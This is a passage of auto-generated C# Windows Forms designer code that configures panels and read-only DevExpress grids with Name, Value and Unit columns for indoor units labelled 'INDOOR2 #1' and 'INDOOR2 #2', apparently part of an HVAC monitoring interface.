this.ulPanel69.BackColor = System.Drawing.SystemColors.Control;
this.ulPanel69.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.ulPanel69.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel69.Controls.Add(this.indoor22Grid);
this.ulPanel69.Controls.Add(this.ulPanel73);
this.ulPanel69.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel69.InnerColor2 = System.Drawing.Color.White;
this.ulPanel69.Location = new System.Drawing.Point(1070, 567);
this.ulPanel69.Name = "ulPanel69";
this.ulPanel69.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel69.OuterColor2 = System.Drawing.Color.White;
this.ulPanel69.Size = new System.Drawing.Size(314, 143);
this.ulPanel69.Spacing = 0;
this.ulPanel69.TabIndex = 14;
this.ulPanel69.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel69.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// indoor22Grid
//
this.indoor22Grid.Cursor = System.Windows.Forms.Cursors.Default;
this.indoor22Grid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.indoor22Grid.Location = new System.Drawing.Point(6, 40);
this.indoor22Grid.MainView = this.indoor22GridView;
this.indoor22Grid.Name = "indoor22Grid";
this.indoor22Grid.Size = new System.Drawing.Size(302, 97);
this.indoor22Grid.TabIndex = 281;
this.indoor22Grid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.indoor22GridView});
//
// indoor22GridView
//
this.indoor22GridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.indoor22GridView.Appearance.FixedLine.Options.UseFont = true;
this.indoor22GridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.indoor22GridView.Appearance.FocusedRow.Options.UseFont = true;
this.indoor22GridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.indoor22GridView.Appearance.HeaderPanel.Options.UseFont = true;
this.indoor22GridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.indoor22GridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.indoor22GridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.indoor22GridView.Appearance.OddRow.Options.UseFont = true;
this.indoor22GridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.indoor22GridView.Appearance.Preview.Options.UseFont = true;
this.indoor22GridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.indoor22GridView.Appearance.Row.Options.UseFont = true;
this.indoor22GridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.indoor22GridView.Appearance.SelectedRow.Options.UseFont = true;
this.indoor22GridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.indoor22GridView.Appearance.ViewCaption.Options.UseFont = true;
this.indoor22GridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.ID22NameColumn,
this.ID22ValueColumn,
this.ID22UnitColumn});
this.indoor22GridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.indoor22GridView.GridControl = this.indoor22Grid;
this.indoor22GridView.Name = "indoor22GridView";
this.indoor22GridView.OptionsBehavior.Editable = false;
this.indoor22GridView.OptionsBehavior.ReadOnly = true;
this.indoor22GridView.OptionsClipboard.AllowCopy = DevExpress.Utils.DefaultBoolean.True;
this.indoor22GridView.OptionsClipboard.AllowExcelFormat = DevExpress.Utils.DefaultBoolean.True;
this.indoor22GridView.OptionsSelection.MultiSelect = true;
this.indoor22GridView.OptionsSelection.MultiSelectMode = DevExpress.XtraGrid.Views.Grid.GridMultiSelectMode.CellSelect;
this.indoor22GridView.OptionsView.ColumnAutoWidth = false;
this.indoor22GridView.OptionsView.ShowColumnHeaders = false;
this.indoor22GridView.OptionsView.ShowGroupPanel = false;
this.indoor22GridView.OptionsView.ShowIndicator = false;
this.indoor22GridView.Tag = 0;
//
// ID22NameColumn
//
this.ID22NameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID22NameColumn.AppearanceCell.Options.UseFont = true;
this.ID22NameColumn.AppearanceCell.Options.UseTextOptions = true;
this.ID22NameColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ID22NameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID22NameColumn.AppearanceHeader.Options.UseFont = true;
this.ID22NameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.ID22NameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ID22NameColumn.Caption = "Name";
this.ID22NameColumn.FieldName = "Name";
this.ID22NameColumn.Name = "ID22NameColumn";
this.ID22NameColumn.OptionsColumn.AllowEdit = false;
this.ID22NameColumn.OptionsColumn.AllowFocus = false;
this.ID22NameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.ID22NameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.ID22NameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.ID22NameColumn.OptionsColumn.AllowMove = false;
this.ID22NameColumn.OptionsColumn.AllowShowHide = false;
this.ID22NameColumn.OptionsColumn.AllowSize = false;
this.ID22NameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.ID22NameColumn.OptionsColumn.FixedWidth = true;
this.ID22NameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.ID22NameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.ID22NameColumn.OptionsColumn.ReadOnly = true;
this.ID22NameColumn.OptionsColumn.TabStop = false;
this.ID22NameColumn.OptionsFilter.AllowAutoFilter = false;
this.ID22NameColumn.OptionsFilter.AllowFilter = false;
this.ID22NameColumn.Visible = true;
this.ID22NameColumn.VisibleIndex = 0;
this.ID22NameColumn.Width = 157;
//
// ID22ValueColumn
//
this.ID22ValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID22ValueColumn.AppearanceCell.Options.UseFont = true;
this.ID22ValueColumn.AppearanceCell.Options.UseTextOptions = true;
this.ID22ValueColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.ID22ValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID22ValueColumn.AppearanceHeader.Options.UseFont = true;
this.ID22ValueColumn.AppearanceHeader.Options.UseTextOptions = true;
this.ID22ValueColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ID22ValueColumn.Caption = "Value";
this.ID22ValueColumn.FieldName = "Value";
this.ID22ValueColumn.Name = "ID22ValueColumn";
this.ID22ValueColumn.OptionsColumn.AllowEdit = false;
this.ID22ValueColumn.OptionsColumn.AllowFocus = false;
this.ID22ValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.ID22ValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.ID22ValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.ID22ValueColumn.OptionsColumn.AllowMove = false;
this.ID22ValueColumn.OptionsColumn.AllowShowHide = false;
this.ID22ValueColumn.OptionsColumn.AllowSize = false;
this.ID22ValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.ID22ValueColumn.OptionsColumn.FixedWidth = true;
this.ID22ValueColumn.OptionsColumn.ReadOnly = true;
this.ID22ValueColumn.Visible = true;
this.ID22ValueColumn.VisibleIndex = 1;
this.ID22ValueColumn.Width = 98;
//
// ID22UnitColumn
//
this.ID22UnitColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID22UnitColumn.AppearanceCell.Options.UseFont = true;
this.ID22UnitColumn.AppearanceCell.Options.UseTextOptions = true;
this.ID22UnitColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ID22UnitColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID22UnitColumn.AppearanceHeader.Options.UseFont = true;
this.ID22UnitColumn.AppearanceHeader.Options.UseTextOptions = true;
this.ID22UnitColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ID22UnitColumn.Caption = "Unit";
this.ID22UnitColumn.FieldName = "Unit";
this.ID22UnitColumn.Name = "ID22UnitColumn";
this.ID22UnitColumn.OptionsColumn.AllowEdit = false;
this.ID22UnitColumn.OptionsColumn.AllowFocus = false;
this.ID22UnitColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.ID22UnitColumn.OptionsColumn.AllowIncrementalSearch = false;
this.ID22UnitColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.ID22UnitColumn.OptionsColumn.AllowMove = false;
this.ID22UnitColumn.OptionsColumn.AllowShowHide = false;
this.ID22UnitColumn.OptionsColumn.AllowSize = false;
this.ID22UnitColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.ID22UnitColumn.OptionsColumn.FixedWidth = true;
this.ID22UnitColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.ID22UnitColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.ID22UnitColumn.OptionsColumn.ReadOnly = true;
this.ID22UnitColumn.OptionsFilter.AllowAutoFilter = false;
this.ID22UnitColumn.OptionsFilter.AllowFilter = false;
this.ID22UnitColumn.Visible = true;
this.ID22UnitColumn.VisibleIndex = 2;
this.ID22UnitColumn.Width = 44;
//
// ulPanel73
//
this.ulPanel73.BackColor = System.Drawing.Color.DeepSkyBlue;
this.ulPanel73.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel73.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel73.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel73.ForeColor = System.Drawing.Color.White;
this.ulPanel73.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel73.InnerColor2 = System.Drawing.Color.White;
this.ulPanel73.Location = new System.Drawing.Point(6, 6);
this.ulPanel73.Name = "ulPanel73";
this.ulPanel73.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel73.OuterColor2 = System.Drawing.Color.White;
this.ulPanel73.Size = new System.Drawing.Size(302, 28);
this.ulPanel73.Spacing = 0;
this.ulPanel73.TabIndex = 5;
this.ulPanel73.Text = "INDOOR2 #2";
this.ulPanel73.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel73.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel74
//
this.ulPanel74.BackColor = System.Drawing.SystemColors.Control;
this.ulPanel74.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.ulPanel74.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel74.Controls.Add(this.indoor21Grid);
this.ulPanel74.Controls.Add(this.ulPanel78);
this.ulPanel74.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel74.InnerColor2 = System.Drawing.Color.White;
this.ulPanel74.Location = new System.Drawing.Point(1070, 418);
this.ulPanel74.Name = "ulPanel74";
this.ulPanel74.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel74.OuterColor2 = System.Drawing.Color.White;
this.ulPanel74.Size = new System.Drawing.Size(314, 143);
this.ulPanel74.Spacing = 0;
this.ulPanel74.TabIndex = 13;
this.ulPanel74.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel74.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// indoor21Grid
//
this.indoor21Grid.Cursor = System.Windows.Forms.Cursors.Default;
this.indoor21Grid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.indoor21Grid.Location = new System.Drawing.Point(6, 40);
this.indoor21Grid.MainView = this.indoor21GridView;
this.indoor21Grid.Name = "indoor21Grid";
this.indoor21Grid.Size = new System.Drawing.Size(302, 97);
this.indoor21Grid.TabIndex = 281;
this.indoor21Grid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.indoor21GridView});
//
// indoor21GridView
//
this.indoor21GridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.indoor21GridView.Appearance.FixedLine.Options.UseFont = true;
this.indoor21GridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.indoor21GridView.Appearance.FocusedRow.Options.UseFont = true;
this.indoor21GridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.indoor21GridView.Appearance.HeaderPanel.Options.UseFont = true;
this.indoor21GridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.indoor21GridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.indoor21GridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.indoor21GridView.Appearance.OddRow.Options.UseFont = true;
this.indoor21GridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.indoor21GridView.Appearance.Preview.Options.UseFont = true;
this.indoor21GridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.indoor21GridView.Appearance.Row.Options.UseFont = true;
this.indoor21GridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.indoor21GridView.Appearance.SelectedRow.Options.UseFont = true;
this.indoor21GridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.indoor21GridView.Appearance.ViewCaption.Options.UseFont = true;
this.indoor21GridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.ID21NameColumn,
this.ID21ValueColumn,
this.ID21UnitColumn});
this.indoor21GridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.indoor21GridView.GridControl = this.indoor21Grid;
this.indoor21GridView.Name = "indoor21GridView";
this.indoor21GridView.OptionsBehavior.Editable = false;
this.indoor21GridView.OptionsBehavior.ReadOnly = true;
this.indoor21GridView.OptionsClipboard.AllowCopy = DevExpress.Utils.DefaultBoolean.True;
this.indoor21GridView.OptionsClipboard.AllowExcelFormat = DevExpress.Utils.DefaultBoolean.True;
this.indoor21GridView.OptionsSelection.MultiSelect = true;
this.indoor21GridView.OptionsSelection.MultiSelectMode = DevExpress.XtraGrid.Views.Grid.GridMultiSelectMode.CellSelect;
this.indoor21GridView.OptionsView.ColumnAutoWidth = false;
this.indoor21GridView.OptionsView.ShowColumnHeaders = false;
this.indoor21GridView.OptionsView.ShowGroupPanel = false;
this.indoor21GridView.OptionsView.ShowIndicator = false;
this.indoor21GridView.Tag = 0;
//
// ID21NameColumn
//
this.ID21NameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID21NameColumn.AppearanceCell.Options.UseFont = true;
this.ID21NameColumn.AppearanceCell.Options.UseTextOptions = true;
this.ID21NameColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ID21NameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID21NameColumn.AppearanceHeader.Options.UseFont = true;
this.ID21NameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.ID21NameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ID21NameColumn.Caption = "Name";
this.ID21NameColumn.FieldName = "Name";
this.ID21NameColumn.Name = "ID21NameColumn";
this.ID21NameColumn.OptionsColumn.AllowEdit = false;
this.ID21NameColumn.OptionsColumn.AllowFocus = false;
this.ID21NameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.ID21NameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.ID21NameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.ID21NameColumn.OptionsColumn.AllowMove = false;
this.ID21NameColumn.OptionsColumn.AllowShowHide = false;
this.ID21NameColumn.OptionsColumn.AllowSize = false;
this.ID21NameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.ID21NameColumn.OptionsColumn.FixedWidth = true;
this.ID21NameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.ID21NameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.ID21NameColumn.OptionsColumn.ReadOnly = true;
this.ID21NameColumn.OptionsColumn.TabStop = false;
this.ID21NameColumn.OptionsFilter.AllowAutoFilter = false;
this.ID21NameColumn.OptionsFilter.AllowFilter = false;
this.ID21NameColumn.Visible = true;
this.ID21NameColumn.VisibleIndex = 0;
this.ID21NameColumn.Width = 157;
//
// ID21ValueColumn
//
this.ID21ValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID21ValueColumn.AppearanceCell.Options.UseFont = true;
this.ID21ValueColumn.AppearanceCell.Options.UseTextOptions = true;
this.ID21ValueColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.ID21ValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID21ValueColumn.AppearanceHeader.Options.UseFont = true;
this.ID21ValueColumn.AppearanceHeader.Options.UseTextOptions = true;
this.ID21ValueColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ID21ValueColumn.Caption = "Value";
this.ID21ValueColumn.FieldName = "Value";
this.ID21ValueColumn.Name = "ID21ValueColumn";
this.ID21ValueColumn.OptionsColumn.AllowEdit = false;
this.ID21ValueColumn.OptionsColumn.AllowFocus = false;
this.ID21ValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.ID21ValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.ID21ValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.ID21ValueColumn.OptionsColumn.AllowMove = false;
this.ID21ValueColumn.OptionsColumn.AllowShowHide = false;
this.ID21ValueColumn.OptionsColumn.AllowSize = false;
this.ID21ValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.ID21ValueColumn.OptionsColumn.FixedWidth = true;
this.ID21ValueColumn.OptionsColumn.ReadOnly = true;
this.ID21ValueColumn.Visible = true;
this.ID21ValueColumn.VisibleIndex = 1;
this.ID21ValueColumn.Width = 98;
//
// ID21UnitColumn
//
this.ID21UnitColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID21UnitColumn.AppearanceCell.Options.UseFont = true;
this.ID21UnitColumn.AppearanceCell.Options.UseTextOptions = true;
this.ID21UnitColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ID21UnitColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID21UnitColumn.AppearanceHeader.Options.UseFont = true;
this.ID21UnitColumn.AppearanceHeader.Options.UseTextOptions = true;
this.ID21UnitColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ID21UnitColumn.Caption = "Unit";
this.ID21UnitColumn.FieldName = "Unit";
this.ID21UnitColumn.Name = "ID21UnitColumn";
this.ID21UnitColumn.OptionsColumn.AllowEdit = false;
this.ID21UnitColumn.OptionsColumn.AllowFocus = false;
this.ID21UnitColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.ID21UnitColumn.OptionsColumn.AllowIncrementalSearch = false;
this.ID21UnitColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.ID21UnitColumn.OptionsColumn.AllowMove = false;
this.ID21UnitColumn.OptionsColumn.AllowShowHide = false;
this.ID21UnitColumn.OptionsColumn.AllowSize = false;
this.ID21UnitColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.ID21UnitColumn.OptionsColumn.FixedWidth = true;
this.ID21UnitColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.ID21UnitColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.ID21UnitColumn.OptionsColumn.ReadOnly = true;
this.ID21UnitColumn.OptionsFilter.AllowAutoFilter = false;
this.ID21UnitColumn.OptionsFilter.AllowFilter = false;
this.ID21UnitColumn.Visible = true;
this.ID21UnitColumn.VisibleIndex = 2;
this.ID21UnitColumn.Width = 44;
//
// ulPanel78
//
this.ulPanel78.BackColor = System.Drawing.Color.DeepSkyBlue;
this.ulPanel78.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel78.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel78.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel78.ForeColor = System.Drawing.Color.White;
this.ulPanel78.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel78.InnerColor2 = System.Drawing.Color.White;
this.ulPanel78.Location = new System.Drawing.Point(6, 6);
this.ulPanel78.Name = "ulPanel78";
this.ulPanel78.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel78.OuterColor2 = System.Drawing.Color.White;
this.ulPanel78.Size = new System.Drawing.Size(302, 28);
this.ulPanel78.Spacing = 0;
this.ulPanel78.TabIndex = 5;
this.ulPanel78.Text = "INDOOR2 #1";
this.ulPanel78.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel78.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel64
//
this.ulPanel64.BackColor = System.Drawing.SystemColors.Control;
this.ulPanel64.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.ulPanel64.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel64.Controls.Add(this.indoor12Grid);
this.ulPanel64.Controls.Add(this.ulPanel68);
this.ulPanel64.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel64.InnerColor2 = System.Drawing.Color.White;
this.ulPanel64.Location = new System.Drawing.Point(1070, 269);
this.ulPanel64.Name = "ulPanel64";
this.ulPanel64.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel64.OuterColor2 = System.Drawing.Color.White;
this.ulPanel64.Size = new System.Drawing.Size(314, 143);
this.ulPanel64.Spacing = 0;
this.ulPanel64.TabIndex = 12;
this.ulPanel64.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel64.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// indoor12Grid
//
this.indoor12Grid.Cursor = System.Windows.Forms.Cursors.Default;
this.indoor12Grid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.indoor12Grid.Location = new System.Drawing.Point(6, 40);
this.indoor12Grid.MainView = this.indoor12GridView;
this.indoor12Grid.Name = "indoor12Grid";
this.indoor12Grid.Size = new System.Drawing.Size(302, 97);
this.indoor12Grid.TabIndex = 281;
this.indoor12Grid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.indoor12GridView});
//
// indoor12GridView
//
this.indoor12GridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.indoor12GridView.Appearance.FixedLine.Options.UseFont = true;
this.indoor12GridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.indoor12GridView.Appearance.FocusedRow.Options.UseFont = true;
this.indoor12GridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.indoor12GridView.Appearance.HeaderPanel.Options.UseFont = true;
this.indoor12GridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.indoor12GridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.indoor12GridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.indoor12GridView.Appearance.OddRow.Options.UseFont = true;
this.indoor12GridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.indoor12GridView.Appearance.Preview.Options.UseFont = true;
this.indoor12GridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.indoor12GridView.Appearance.Row.Options.UseFont = true;
this.indoor12GridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.indoor12GridView.Appearance.SelectedRow.Options.UseFont = true;
this.indoor12GridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.indoor12GridView.Appearance.ViewCaption.Options.UseFont = true;
this.indoor12GridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.ID12NameColumn,
this.ID12ValueColumn,
this.ID12UnitColumn});
this.indoor12GridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.indoor12GridView.GridControl = this.indoor12Grid;
this.indoor12GridView.Name = "indoor12GridView";
this.indoor12GridView.OptionsBehavior.Editable = false;
this.indoor12GridView.OptionsBehavior.ReadOnly = true;
this.indoor12GridView.OptionsClipboard.AllowCopy = DevExpress.Utils.DefaultBoolean.True;
this.indoor12GridView.OptionsClipboard.AllowExcelFormat = DevExpress.Utils.DefaultBoolean.True;
this.indoor12GridView.OptionsSelection.MultiSelect = true;
this.indoor12GridView.OptionsSelection.MultiSelectMode = DevExpress.XtraGrid.Views.Grid.GridMultiSelectMode.CellSelect;
this.indoor12GridView.OptionsView.ColumnAutoWidth = false;
this.indoor12GridView.OptionsView.ShowColumnHeaders = false;
this.indoor12GridView.OptionsView.ShowGroupPanel = false;
this.indoor12GridView.OptionsView.ShowIndicator = false;
this.indoor12GridView.Tag = 0;
//
// ID12NameColumn
//
this.ID12NameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID12NameColumn.AppearanceCell.Options.UseFont = true;
this.ID12NameColumn.AppearanceCell.Options.UseTextOptions = true;
this.ID12NameColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ID12NameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID12NameColumn.AppearanceHeader.Options.UseFont = true;
this.ID12NameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.ID12NameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ID12NameColumn.Caption = "Name";
this.ID12NameColumn.FieldName = "Name";
this.ID12NameColumn.Name = "ID12NameColumn";
this.ID12NameColumn.OptionsColumn.AllowEdit = false;
this.ID12NameColumn.OptionsColumn.AllowFocus = false;
this.ID12NameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.ID12NameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.ID12NameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.ID12NameColumn.OptionsColumn.AllowMove = false;
this.ID12NameColumn.OptionsColumn.AllowShowHide = false;
this.ID12NameColumn.OptionsColumn.AllowSize = false;
this.ID12NameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
